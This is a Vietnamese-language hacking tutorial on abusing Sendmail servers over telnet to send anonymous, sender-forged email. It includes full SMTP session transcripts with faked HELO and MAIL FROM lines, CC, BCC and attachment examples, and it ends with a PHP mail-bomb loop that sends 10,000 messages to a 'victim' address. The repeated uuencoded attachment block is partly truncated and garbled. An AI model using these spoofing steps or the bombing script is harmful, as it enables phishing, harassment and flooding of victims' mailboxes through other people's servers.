Hiện nay có rất nhiều chương trình gởi thư nặc danh và dội bom thư như Ghost, Avalave, ..! Tuy nhiên, chúng lại đòi hỏi một máy chủ SMTP - Simple Mail Transfer Protocol(Giao thức chuyển thư đơn giản) cho phép "reply". Mà như bạn biết đó, khó mà có thể tìm kiếm được một SMTP server như thế. VDC, FTP cũng như các SMTP server trong nước rồi sẽ đóng cửa "reply" đối với các SMTP server của họ trong thời gian ngắn sắm tới thôi! Tìm một SMTP server của nước ngoài, không phải dễ kiếm được đâu?! Đừng sợ gì hết, đã có Sendmail giúp bạn rồi! Sendmail được cài đặt hầu hết trên các Unix * hiện nay. Đặc biệt là nó được cài đặt rất nhiều trên các web-hosting! Như vậy bạn sẽ dễ dàng kiếm được vài cái máy chủ chạy Sendmail cho mình!
Sendmail là một deamon chạy trên cổng 25. Nó dùng giao thức TCP. Gần như tất cả (99%) các máy chủ Unix* đều cài đặt Sendmail vì đây là mặc định mà! Nhiệm vụ chính, số một đó! của sendmail là phân phát thư trên mạng. Sendmail cũng gần giống như SMTP thôi, các lệnh SMTP đều có thể dùng được!
Okay, đầu tiên hãy telnet đến máy chủ chạy Sendmail mà bạn biết, trên cổng 25! Tiếp theo bạn có thể phát lệnh SMTP bình thường để gởi thư(nếu bạn không biết thì gõ HELP để gọi hướng dẫn)! Hãy xem qua ví dụ sau:
C:\windows>telnet mail.isp.com 25
220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)
helo ankit.com
250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you
mail from: ankit@bol.net.in
250 ankit@bol.net.in... Sender ok
rcpt to: namitas@bol.net.in
250 namitas@bol.net.in... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hãy nhập vào nội dung thư tại đây.
.
250 RAA0000001693 Message accepted for delivery
The headers of the above email as seen by the recipient is as follows:
Return-Path:
Received: from ankit.com by mail.isp.com (8.9.1/1.1.20.3/07Jul00-0916AM)
id RAA0000001693; Thu, 7 Dec 2000 17:19:49 +0530 (IST)
Date: Thu, 7 Dec 2000 17:19:49 +0530 (IST)
From: Ankit Fadia <ankit@bol.net.in>
Message-Id: <200012071149.RAA0000001693@mail.isp.com>
X-UIDL: 920156a3b926c5193036933e6d04efd5
quit
221 Aba be
Giải thích: đầu tiên chúng ta telnet đến mail.isp.com ở cổng 25. Thật may, chúng ta nhận được một dòng thông báo rất quan trọng "ESMTP Sendmail 8.9.1". Như vậy server này đang chạy Sendmail, ổn rồi! Tiếp theo gõ "helo ankit.com". Hihi, đây chẳng qua là làm nhái nơi gởi thôi! Lệnh tiếp theo "mail from: ankit@bol.net.in" cho biết lá thư này được gởi từ ankit@bol.net.in! "rcpt to: namitas@bol.net.in" cho biết người nhận là namitas@bol.net.in. Tiếp theo, ta gõ lệnh "data" và nhập vào nội dung của thư. Đến khi nào gõ xong rồi thì gõ
ở ví dụ trên, chúng ta không đặt subject cho thư. Theo mặc định thì Sendmail sẽ đặt subject là thời gian hiện tại trên máy chủ! Chúng ta cần thay đổi lại subject của thư..! Bằng cách nào đây? Dễ thôi, sau khi nhập xong lệnh "data", bạn gõ vào theo dạng sau: subject:
Mail Server: mail.isp.com
Recipient's Email Address: namitas@bol.net.in
Sender's Email Address: ankit@bol.net.in
Subject: Hi!!!
Body: This is a test message
Okay!
C:\windows>telnet mail.isp.com
220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)
helo ankit.com
250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you
mail from: ankit@bol.net.in
250 ankit@bol.net.in... Sender ok
rcpt to: namitas@bol.net.in
250 namitas@bol.net.in... Recipient ok
data
354 Enter mail, end with "." on a line by itself
subject: Hi!!!
This is a test message
.
250 RAA0000001693 Message accepted for delivery
Nếu xem phần header của lá thư được gởi, bạn sẽ thấy như sau:
Return-Path:
Received: from ankit.com by mail.isp.com (8.9.1/1.1.20.3/07Jul00-0916AM)
id RAA0000001693; Thu, 7 Dec 2000 17:19:49 +0530 (IST)
Date: Thu, 7 Dec 2000 17:19:49 +0530 (IST)
From: Ankit Fadia
Message-Id: <200012071149.RAA0000001693@mail.isp.com>
Subject: Hi!!!!
X-UIDL: 920156a3b926c5193036933e6d04efd5
This is a test message
Phần subject và body của thư được phân cách nhau bởi một dòng có nội dung "X-UIDL: 920156a3b926c5193036933e6d04efd5"!
CC - đồng gởi! Để gởi một lá thư đến nhiều người cùng một lúc, chúng ta chỉ cần dùng rcpt to:
To: ankit@bol.net.in; ankitfadia@hotmail.com
CC: ankit_Fadia@hotmail.com ; namitas@bol.net.in
Okay!
C:\windows>telnet mail.isp.com
220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)
helo ankit.com
250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you
mail from: test@bol.net.in
250 test@bol.net.in... Sender ok
rcpt to: ankit@bol.net.in
250 ankit@bol.net.in... Recipient ok
rcpt to: ankitfadia@hotmail.com
250 ankitfadia@hotmail.com... Recipient ok
rcpt to: ankit_fadia@hotmail.com
250 ankit_Fadia@hotmail.com... Recipient ok
rcpt to: namitas@bol.net.in
250 namitas@bol.net.in... Recipient ok
data
354 Enter mail, end with "." on a line by itself
subject: Test
.
250 RAA0000001693 Message accepted for delivery
Chắc bạn hiểu chứ!
BCC - gởi một bản sao! Cái thì thì cũng gần giống như CC thôi. Tuy nhiên BCC làm việc trong các phiên kết nối khác nhau. Trong khi CC lại làm việc trong một phiên kết nối duy nhất. Cũng là ví dụ trên, tôi cần BCC đến 4 người là ankit@bol.net.in; ankitfadia@hotmail.com; ankit_Fadia@hotmail.com; namitas@bol.net.in thì tôi thực hiện 4 kết nối đến server. Mỗi lần tôi chỉ gởi cho một người bằng lệnh "rcpt to:
Bây giờ bạn cần đính kèm một file trong thư! Trước hết bạn cần encode file này sang dạng Uue-Base64! Sau đó gộp nội dung của file đã encode sang dạng uue vào phần body của thư là xong! Ví dụ tôi cần gởi đính kèm file new.zip vào lá thư cần gởi đi. Trước hết, dùng Winzip mở file new.zip, chọn Actions/UUencode(Shift-U) để encode file new.zip sang dạng uue, new.uue. Nội dung của new.uue có dạng như sau:
Mã lệnh |
_=_
_=_ Part 001 of 001 of file new.zip _=_ begin 666 new.zip M4$L#!!0``@`(`#5S_RCDJL7+;P```'4````'````;F5W+F=I9G/W=+.P3)1G MX&%8R``"_T$`Q%#\R<+(P,#(H`/B@.0=F-QZ\INZ%.\\$DX(:]"N_76TM7"V M:6]\T+)755;)-P(C;UB]*)FR+OSYCGV';_HI7<P)::DQ$Y_Y[%*(UX1`H4U; M3Z55KVB;<EV#@<$:`%!+`0(4`!0``@`(`#5S_RCDJL7+;P```'4````'```` K````````(`"V@0````!N97<N9VEF4$L%!@`````!``$`-0```)0````````` ` end |
(3 dòng đầu _=_ ... chỉ là các dùng ghi chú)
Tiếp theo là...
C:\windows>telnet mail.isp.com
220 mail.isp.com ESMTP Sendmail 8.9.1 (1.1.20.3/07Jul00-0916AM) Thu, 7 Dec 2000 17:18:50 +0530 (IST)
helo ankit.com
250-mail.isp.com Hello [203.xx.yyy.91], pleased to meet you
mail from: ankit@bol.net.in
250 ankit@bol.net.in... Sender ok
rcpt to: namitas@bol.net.in
250 namitas@bol.net.in... Recipient ok
data
354 Enter mail, end with "." on a line by itself
subject: Hi you!!!
Check file new.zip for fun!
begin 666 new.zip
M4$L#!!0``@`(`#5S_RCDJL7+;P```'4````'````;F5W+F=I9G/W=+.P3)1G
MX&%8R``"_T$`Q%#\R<+(P,#(H`/B@.0=F-QZ\INZ%.\\$DX(:]"N_76TM7"V
M:6]\T+)755;)-P(C;UB]*)FR+OSYCGV';_HI7
Q$Y_Y[%*(UX1`H4U;
M3Z55KVB; K````````(`"V@0````!N97 ` end . 250 RAA0000001693 Message accepted for delivery
Đây chỉ là ví dụ minh họa để bạn hiểu mà thôi! Nếu bạn dùng telnet chắc bạn phải gõ vào mỏi cả tay đó! Thử viết một chương trình hoặc sử dụng các chương trình email khác đi! Hihi!
Chẵng qua chỉ là gởi vô khối thư có nội dung giống nhau hoặc không ra gì đến nạn nhân! Sau đây là một ví dụ nhỏ về bom thư được viết bằng PHP!
Mã lệnh (PHP) |
<? $email="victim@mail.com"; $subject="Hi you"; $message="No, sorry!"; for ($i=0;$i<10000;$i++){ mail($email,$subject,$message); } ?> |
Hi vọng qua bài viết này bạn hiểu rõ hơn về Sendmail! Chúc bạn thành công!